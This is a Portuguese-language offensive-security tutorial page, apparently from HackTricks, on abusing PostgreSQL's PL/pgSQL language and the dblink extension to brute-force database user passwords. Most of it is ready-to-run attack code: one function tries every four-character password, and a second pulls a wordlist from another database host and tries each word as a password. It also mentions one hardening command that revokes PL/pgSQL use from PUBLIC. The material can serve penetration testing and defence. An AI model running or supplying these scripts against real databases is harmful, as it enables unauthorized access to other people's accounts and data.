PL/pgSQL Password Bruteforce

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Encontre mais informações sobre esse ataque no artigo original.

PL/pgSQL é uma linguagem de programação completa que vai além das capacidades do SQL, oferecendo controle procedural aprimorado. Isso inclui a utilização de loops e várias estruturas de controle. Funções criadas na linguagem PL/pgSQL podem ser invocadas por declarações SQL e gatilhos, ampliando o escopo das operações dentro do ambiente do banco de dados.

Você pode abusar dessa linguagem para solicitar ao PostgreSQL que faça força bruta nas credenciais dos usuários, mas elas devem existir no banco de dados. Você pode verificar a existência delas usando:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

Por padrão, criar funções é um privilégio concedido ao PÚBLICO, onde PÚBLICO se refere a todos os usuários nesse sistema de banco de dados. Para evitar isso, o administrador poderia ter revogado o privilégio de USO do domínio PÚBLICO:

REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Nesse caso, nossa consulta anterior produziria resultados diferentes:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

Note que, para o script a seguir funcionar, a função dblink precisa existir. Se não existir, você pode tentar criá-la com o seguinte comando:

CREATE EXTENSION dblink;

Força Bruta de Senha

Aqui está como você poderia realizar uma força bruta de senha de 4 caracteres:

//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Nota que até mesmo a força bruta de 4 caracteres pode levar vários minutos.

Você também poderia baixar uma lista de palavras e tentar apenas essas senhas (ataque de dicionário):

//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Last updated